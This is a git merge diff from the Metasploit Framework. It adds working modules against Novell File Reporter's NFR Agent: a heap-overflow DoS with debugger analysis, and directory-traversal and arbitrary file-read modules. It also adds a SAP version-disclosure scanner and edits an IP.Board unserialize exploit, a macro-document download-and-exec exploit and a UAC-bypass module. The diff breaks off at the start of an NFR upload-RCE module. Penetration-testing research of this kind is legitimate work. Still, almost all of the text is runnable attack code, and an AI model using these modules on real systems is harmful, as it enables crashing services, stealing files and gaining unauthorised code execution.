Merge branch 'rapid7' into tasos-r7-web-modules
commit
c65f37782d
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NFR Agent Heap Overflow Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
|
||||
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
|
||||
where NFRAgent.exe fails to generate a response in a secure way, copying user
|
||||
controlled data into a fixed-length buffer in the heap without bounds checking.
|
||||
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
|
||||
},
|
||||
'Author' => [ 'juan vazquez' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', 'CVE-2012-4956' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 16 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run
|
||||
record = "<RECORD>"
|
||||
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
|
||||
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
|
||||
record << "</RECORD>"
|
||||
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message,
|
||||
})
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
return
|
||||
end
|
||||
|
||||
if res
|
||||
print_error("#{peer} - NFR Agent didn't die, it still answers...")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
* Static analysis
|
||||
|
||||
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
|
||||
|
||||
.text:00404BE9 add esp, 0Ch
|
||||
.text:00404BEC push 14h ; length_arg_C
|
||||
.text:00404BEE lea eax, [ebp+record_name_var_28]
|
||||
.text:00404BF1 push eax ; result_arg_8
|
||||
.text:00404BF2 push offset aName ; "NAME"
|
||||
.text:00404BF7 mov ecx, [ebp+message_arg_8]
|
||||
.text:00404BFA add ecx, 20h
|
||||
.text:00404BFD push ecx ; xml_message_arg_0
|
||||
.text:00404BFE mov ecx, [ebp+var_2C]
|
||||
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
|
||||
.text:00404C06 movzx edx, al
|
||||
.text:00404C09 test edx, edx
|
||||
.text:00404C0B jz short loc_404C8B
|
||||
.text:00404C0D push offset aSrs_2 ; "SRS"
|
||||
.text:00404C12 lea eax, [ebp+record_name_var_28]
|
||||
.text:00404C15 push eax ; char *
|
||||
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
|
||||
.text:00404C1B add esp, 8
|
||||
.text:00404C1E test eax, eax
|
||||
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
|
||||
.text:00404C22 mov ecx, [ebp+message_arg_8]
|
||||
.text:00404C25 push ecx ; void *
|
||||
.text:00404C26 mov edx, [ebp+arg_4]
|
||||
.text:00404C29 push edx ; int
|
||||
.text:00404C2A mov eax, [ebp+arg_0]
|
||||
.text:00404C2D push eax ; int
|
||||
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
|
||||
|
||||
2) In this function memory is allocated to store the response which will be build:
|
||||
|
||||
.text:00404903 push 0C350h ; size_t
|
||||
.text:00404908 call _malloc
|
||||
.text:0040490D add esp, 4
|
||||
.text:00404910 mov [ebp+response_var_8], eax
|
||||
|
||||
0:007> g
|
||||
Breakpoint 0 hit
|
||||
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
|
||||
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x4908:
|
||||
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
|
||||
0:007> dd esp L1
|
||||
0120ff4c 0000c350
|
||||
0:007> p
|
||||
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
|
||||
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x490d:
|
||||
0040490d 83c404 add esp,4
|
||||
0:007> !heap -p -a eax
|
||||
address 01220110 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
|
||||
3) The SRS record used in this module is handled by:
|
||||
|
||||
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
|
||||
*result_response_arg_4)
|
||||
|
||||
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
|
||||
|
||||
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
|
||||
*)(vol_object_var_254 + 12) )
|
||||
{
|
||||
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
|
||||
&vol_name_var_20c, 0x1F4u); // get VOL element
|
||||
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
|
||||
Free Space
|
||||
volume_fscape_var_358 = v2;
|
||||
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
|
||||
the volume name (user controlled data)
|
||||
if ( vol_name_html_encode_var_494 )
|
||||
{ // If the volume name has been HTML Encoded
|
||||
v3 = volume_fscape_var_358;
|
||||
v4 = volume_fspace_vol_35C;
|
||||
v5 = vol_name_html_encode_var_494;
|
||||
v6 = strlen(result_response_arg_4);
|
||||
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
|
||||
fix-length buffer in the heap without bound checking
|
||||
free(vol_name_html_encode_var_494);
|
||||
vol_name_html_encode_var_494 = 0;
|
||||
}
|
||||
else
|
||||
{ // If the volume name hasn’t been HTML Encoded
|
||||
v7 = volume_fscape_var_358;
|
||||
v8 = volume_fspace_vol_35C;
|
||||
v9 = strlen(result_response_arg_4);
|
||||
sprintf(
|
||||
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
|
||||
name) to the end of the fix-length buffer in the heap without bound checking
|
||||
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||
&vol_name_var_20c,
|
||||
v8,
|
||||
v7);
|
||||
}
|
||||
}
|
||||
|
||||
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
|
||||
|
||||
Breakpoint 1 hit
|
||||
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
|
||||
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x85c5:
|
||||
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
|
||||
0:007> dd esp L1
|
||||
0120eec8 0122013e
|
||||
0:007> !heap -p -a 0122013e
|
||||
address 0122013e found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
0:007> da poi(esp+4)
|
||||
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
|
||||
0047a060 "d</FSPACE></VOL>"
|
||||
0:007> da poi(esp+8)
|
||||
01250208 "AAAAAAAAAA"
|
||||
|
||||
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
|
||||
overwritten for the chunk just after the vulnerable one:
|
||||
|
||||
0:007> g
|
||||
Breakpoint 0 hit
|
||||
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
|
||||
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
|
||||
NFRAgent+0x8645:
|
||||
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
|
||||
0:007> !heap -p -a 01220110
|
||||
address 01220110 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
0:007> !heap -p -a 01220110+0xc350
|
||||
address 0122c460 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
|
||||
0:007> db 0122c460 L8
|
||||
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
|
||||
0:007> db 0122c468 L10
|
||||
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
|
||||
=end
|
|
@ -0,0 +1,86 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NFR Agent FSFUI Record Arbitrary Remote File Access',
|
||||
'Description' => %q{
|
||||
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
|
||||
arbitrary text files via a directory traversal while handling requests to /FSF/CMD
|
||||
with an FSFUI record with UICMD 126. This module has been tested successfully
|
||||
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
|
||||
Reporter 1.0.1).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2012-4958' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Nov 16 2012"
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('RFILE', [true, 'Remote File', 'boot.ini']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
traversal = "..\\" * datastore['DEPTH']
|
||||
record = "<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>#{traversal}#{datastore['RFILE']}</FILE></RECORD>"
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Retrieving the file contents")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message,
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><CFILE><\!\[CDATA\[(.*)\]\]><\/CFILE><\/RESULT>/m
|
||||
loot = $1
|
||||
f = ::File.basename(datastore['RFILE'])
|
||||
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to retrieve the file contents")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,86 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NFR Agent SRS Record Arbitrary Remote File Access',
|
||||
'Description' => %q{
|
||||
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
|
||||
arbitrary files via a request to /FSF/CMD with a SRS Record with OPERATION 4 and
|
||||
CMD 103, specifying a full pathname. This module has been tested successfully
|
||||
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
|
||||
Reporter 1.0.1).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2012-4957' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Nov 16 2012"
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini'])
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 3037 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Retrieving the file contents")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message,
|
||||
})
|
||||
|
||||
if res and res.code == 200 and not res.body =~ /<RESULT>/
|
||||
loot = res.body
|
||||
f = ::File.basename(datastore['RFILE'])
|
||||
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to retrieve the file contents")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,166 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
##
|
||||
# This module is based on, inspired by, or is a port of a plugin available in
|
||||
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
|
||||
# http://www.onapsis.com/research-free-solutions.php.
|
||||
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
|
||||
# in producing the Metasploit modules and was happy to share his knowledge and
|
||||
# experience - a very cool guy. I'd also like to thank Chris John Riley,
|
||||
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
|
||||
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure',
|
||||
'Description' => %q{
|
||||
This module attempts to identify software, OS and DB versions through the SAP
|
||||
function TH_SAPREL using the /sap/bc/soap/rfc SOAP service.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Agnivesh Sathasivam',
|
||||
'nmonkee'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('CLIENT', [true, 'Client', nil]),
|
||||
OptString.new('USERNAME', [true, 'Username', nil]),
|
||||
OptString.new('PASSWORD', [true, 'Password', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
data << '<env:Body>'
|
||||
data << '<n1:TH_SAPREL xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
|
||||
data << '</n1:TH_SAPREL>'
|
||||
data << '</env:Body>'
|
||||
data << '</env:Envelope>'
|
||||
|
||||
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
|
||||
|
||||
print_status("[SAP] #{ip}:#{rport} - sending SOAP TH_SAPREL request")
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>{
|
||||
'Content-Length' => data.size.to_s,
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'Authorization' => 'Basic ' + user_pass,
|
||||
'Content-Type' => 'text/xml; charset=UTF-8'
|
||||
}
|
||||
}, 45)
|
||||
if res and res.code == 200
|
||||
kern_comp_on = $1 if res.body =~ /<KERN_COMP_ON>(.*)<\/KERN_COMP_ON>/i
|
||||
kern_comp_time = $1 if res.body =~ /<KERN_COMP_TIME>(.*)<\/KERN_COMP_TIME>/i
|
||||
kern_dblib = $1 if res.body =~ /<KERN_DBLIB>(.*)<\/KERN_DBLIB>/i
|
||||
kern_patchlevel = $1 if res.body =~ /<KERN_PATCHLEVEL>(.*)<\/KERN_PATCHLEVEL>/i
|
||||
kern_rel = $1 if res.body =~ /<KERN_REL>(.*)<\/KERN_REL>/i
|
||||
saptbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[SAP] System Info",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Info",
|
||||
"Value"
|
||||
])
|
||||
saptbl << [ "OS Kernel version", kern_comp_on ]
|
||||
saptbl << [ "SAP compile time", kern_comp_time ]
|
||||
saptbl << [ "DB version", kern_dblib ]
|
||||
saptbl << [ "SAP patch level", kern_patchlevel ]
|
||||
saptbl << [ "SAP Version", kern_rel ]
|
||||
print(saptbl.to_s)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'os.kernel.version',
|
||||
:data => "OS Kernel version: #{kern_comp_on}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.time.compile',
|
||||
:data => "SAP compile time: #{kern_comp_time}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.db.version',
|
||||
:data => "DB version: #{kern_dblib}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.version.patch_level',
|
||||
:data => "SAP patch level: #{kern_patchlevel}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.version',
|
||||
:data => "SAP Version: #{kern_rel}"
|
||||
)
|
||||
|
||||
elsif res and res.code == 500
|
||||
response = res.body
|
||||
error.push(response.scan(%r{<message>(.*?)</message>}))
|
||||
err = error.join().chomp
|
||||
print_error("[SAP] #{ip}:#{rport} - #{err.gsub(''','\'')}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] #{ip}:#{rport} - error message: " + res.code.to_s + " " + res.message) if res
|
||||
return
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'EgiX', # Vulnerability discovery and PoC
|
||||
'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
|
||||
'juan vazquez', # Metasploit module
|
||||
'sinn3r' # PhpEXE tekniq & check() method
|
||||
],
|
||||
|
@ -69,28 +69,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return base
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({'uri'=>"#{base}index.php"})
|
||||
return Exploit::CheckCode::Unknown if not res
|
||||
def cookie_prefix
|
||||
print_status("#{@peer} - Checking for cookie prefix")
|
||||
cookie_prefix = ""
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{base}index.php",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
|
||||
return Exploit::CheckCode::Safe if version.empty?
|
||||
version = version.map {|e| e.to_i}
|
||||
|
||||
# We only want major version 3
|
||||
# This version checking is based on OSVDB's info
|
||||
return Exploit::CheckCode::Safe if version[0] != 3
|
||||
|
||||
case version[1]
|
||||
when 1
|
||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
|
||||
when 2
|
||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
|
||||
when 3
|
||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
||||
print_status("#{@peer} - Cookie prefix #{$1} found")
|
||||
cookie_prefix = $1
|
||||
end
|
||||
return cookie_prefix
|
||||
end
|
||||
|
||||
def check
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{base}index.php",
|
||||
'method' => 'GET',
|
||||
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
|
||||
})
|
||||
|
||||
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res and res.code == 200
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
|
@ -110,20 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Checking for cookie prefix")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{base}index.php",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
||||
print_status("#{@peer} - Cookie prefix #{$1} found")
|
||||
cookie_prefix = $1
|
||||
else
|
||||
cookie_prefix = ""
|
||||
end
|
||||
|
||||
# get_write_exec_payload uses a function, which limits our ability to support
|
||||
# Linux payloads, because that requires a space:
|
||||
# function my_cmd
|
||||
|
|
|
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
|
||||
OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
|
||||
], self.class)
|
||||
|
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when /oleObject1\.bin/
|
||||
# Patch the OLE object file with our payload
|
||||
print_status("Patching OLE object")
|
||||
ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
|
||||
ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb
|
||||
p = get_download_exec_payload(ptype, @ip, @port)
|
||||
buf = buf.gsub(/MYPAYLOAD/, p)
|
||||
|
||||
|
|
|
@ -50,6 +50,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def exploit
|
||||
|
||||
isadmin = session.railgun.shell32.IsUserAnAdmin()
|
||||
if isadmin['return']
|
||||
print_error('Already in elevated state. Exiting...')
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
# Verify use against Vista+
|
||||
|
@ -95,6 +100,31 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return
|
||||
end
|
||||
|
||||
# Check if you are an admin
|
||||
print_status('Checking admin status...')
|
||||
whoami = session.sys.process.execute('cmd /c whoami /groups',
|
||||
nil,
|
||||
{'Hidden' => true, 'Channelized' => true}
|
||||
)
|
||||
cmdout = []
|
||||
isinadmins = []
|
||||
while(cmdoutput = whoami.channel.read)
|
||||
cmdout << cmdoutput
|
||||
end
|
||||
if cmdout.size == 0
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
isinadmins = cmdout[0].split("\r\n").grep(/S-1-5-32-544/)
|
||||
if isinadmins.size > 0
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
print_error('Not in admins group, cannot escalate with this module')
|
||||
print_error('Exiting...')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
|
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NFR Agent FSFUI Record File Upload RCE',
|
||||
'Description' => %q{
|
||||
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
|
||||
